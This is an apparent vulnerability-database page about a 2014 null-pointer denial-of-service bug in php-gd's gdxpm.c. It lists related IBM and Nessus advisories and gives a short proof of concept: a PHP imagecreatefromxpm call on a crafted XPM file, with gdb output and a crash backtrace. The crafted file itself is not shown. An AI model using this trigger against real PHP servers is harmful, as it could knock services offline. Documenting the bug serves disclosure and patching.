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php-gd 'gdxpm.c'空指针拒绝服务漏洞

🗓️ 17 Mar 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 103 Views

php-gd 'gdxpm.c'空指针拒绝服务漏

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins		Security Bulletin: Vulnerabilities in php5 affect IBM Flex System Manager (FSM): (CVE-2013-4248 CVE-2013-6420 CVE-2014-2497 CVE-2014-4049)
31 Jan 201901:30
–ibm
IBM Security Bulletins		Security Bulletin: Vulnerabilities affect IBM's Advanced Management Module (AMM)
14 Apr 202314:32
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IBM Security Bulletins		Security Bulletin: Vulnerabilities in PHP affect IBM Chassis Management Module (CMM) (CVE-2013-4248, CVE-2013-6420, CVE-2014-2497, CVE-2014-4049)
31 Jan 201901:55
–ibm
IBM Security Bulletins		Security Bulletin: Network Intrusion Prevention System is affected by curl and php5 vulnerabilities (CVE-2013-2174, CVE-2014-0015, CVE-2014-0138, CVE-2014-0139, CVE-2013-4248, CVE-2013-6420, CVE-2014-2497, CVE-2014-4049)
23 Feb 202217:14
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Tenable Nessus		Mac OS X 10.10.x < 10.10.3 Multiple Vulnerabilities
10 Apr 201900:00
–nessus
Tenable Nessus		PHP 5.4.x < 5.4.32 / 5.5.x < 5.5.16 Multiple Vulnerabilities
28 Aug 201400:00
–nessus
Tenable Nessus		Amazon Linux AMI : php55 (ALAS-2014-415)
12 Oct 201400:00
–nessus
Tenable Nessus		CentOS 5 / 6 : php / php53 (CESA-2014:1326)
1 Oct 201400:00
–nessus
Tenable Nessus		CentOS 7 : php (CESA-2014:1327)
1 Oct 201400:00
–nessus
Tenable Nessus		Debian DLA-189-1 : libgd2 security update
9 Apr 201500:00
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Rows per page

                                                php &gt; imagecreatefromxpm(&quot;monochome-poc.xpm&quot;);

(gdb) p colorTable[0]
$2 = {string = 0x7fa6cec524c0 &quot;A&quot;, symbolic = 0x0, m_color = 0x0, g4_color = 0x0, g_color = 0x0, c_color = 0x7fa6cec58650 &quot;#FFFFFF&quot;}
(gdb) p colorTable[1]
$3 = {string = 0x7fa6cec58670 &quot;B&quot;, symbolic = 0x0, m_color = 0x0, g4_color = 0x0, g_color = 0x0, c_color = 0x7fa6cec58690 &quot;#CCCCCC&quot;}
(gdb) p colorTable[2]
$4 = {string = 0x7fa6cec586b0 &quot;C&quot;, symbolic = 0x0, m_color = 0x0, g4_color = 0x0, g_color = 0x0, c_color = 0x7fa6cec586d0 &quot;#999999&quot;}
(gdb) p colorTable[3]
$5 = {string = 0x7fa6cec586f0 &quot;D&quot;, symbolic = 0x0, m_color = 0x7fa6cec58710 &quot;#666666&quot;, g4_color = 0x0, g_color = 0x0, c_color = 0x0}
(gdb) p colorTable[4]
$6 = {string = 0x7fa6cec58730 &quot;E&quot;, symbolic = 0x0, m_color = 0x0, g4_color = 0x0, g_color = 0x0, c_color = 0x7fa6cec58750 &quot;#333333&quot;}
(gdb) p colorTable[5]
$7 = {string = 0x7fa6cec58770 &quot;F&quot;, symbolic = 0x0, m_color = 0x0, g4_color = 0x0, g_color = 0x0, c_color = 0x7fa6cec58790 &quot;#000000&quot;}
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
__strlen_sse2_pminub () at ../sysdeps/x86_64/multiarch/strlen-sse2-pminub.S:39
39		movdqu	(%rdi), %xmm1
(gdb) bt
#0  __strlen_sse2_pminub () at ../sysdeps/x86_64/multiarch/strlen-sse2-pminub.S:39
#1  0x00007f009474942a in gdImageCreateFromXpm (filename=&lt;optimized out&gt;) at /usr/src/debug/php-5.4.17/ext/gd/libgd/gdxpm.c:42
#2  0x00007f009473d2c2 in _php_image_create_from (ht=&lt;optimized out&gt;, return_value=0x7f00a169be98, image_type=6, tn=0x7f0094753c00 &quot;XPM&quot;, func_p=0x7f0094749340 &lt;gdImageCreateFromXpm&gt;, 
    ioctx_func_p=&lt;optimized out&gt;, return_value_used=&lt;optimized out&gt;, this_ptr=&lt;optimized out&gt;, return_value_ptr=&lt;optimized out&gt;) at /usr/src/debug/php-5.4.17/ext/gd/gd.c:2534
#3  0x00007f00a19e5181 in zend_do_fcall_common_helper_SPEC (execute_data=0x7f00a1665060) at /usr/src/debug/php-5.4.17/Zend/zend_vm_execute.h:643
#4  0x00007f00a199f017 in execute (op_array=0x7f00a169acf8) at /usr/src/debug/php-5.4.17/Zend/zend_vm_execute.h:410
#5  0x00007f00a1932976 in zend_eval_stringl (str=str@entry=0x7f00a1699c88 &quot;imagecreatefromxpm(\&quot;0day/zero-day2.xpm\&quot;);\n&quot;, str_len=str_len@entry=42, retval_ptr=retval_ptr@entry=0x0, 
    string_name=string_name@entry=0x7f00a1a0cbdf &quot;php shell code&quot;) at /usr/src/debug/php-5.4.17/Zend/zend_execute_API.c:1197
#6  0x00007f00a181fcdf in readline_shell_run () at /usr/src/debug/php-5.4.17/ext/readline/readline_cli.c:664
#7  0x00007f00a19e78c4 in do_cli (argc=2, argv=0x7ffff35fc268) at /usr/src/debug/php-5.4.17/sapi/cli/php_cli.c:986
#8  0x00007f00a179ea9a in main (argc=2, argv=0x7ffff35fc268) at /usr/src/debug/php-5.4.17/sapi/cli/php_cli.c:1364

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17 Mar 2014 00:00Current
7.9High risk
Vulners AI Score7.9
EPSS0.22319
phpgdgdxpmsegmentation fault
103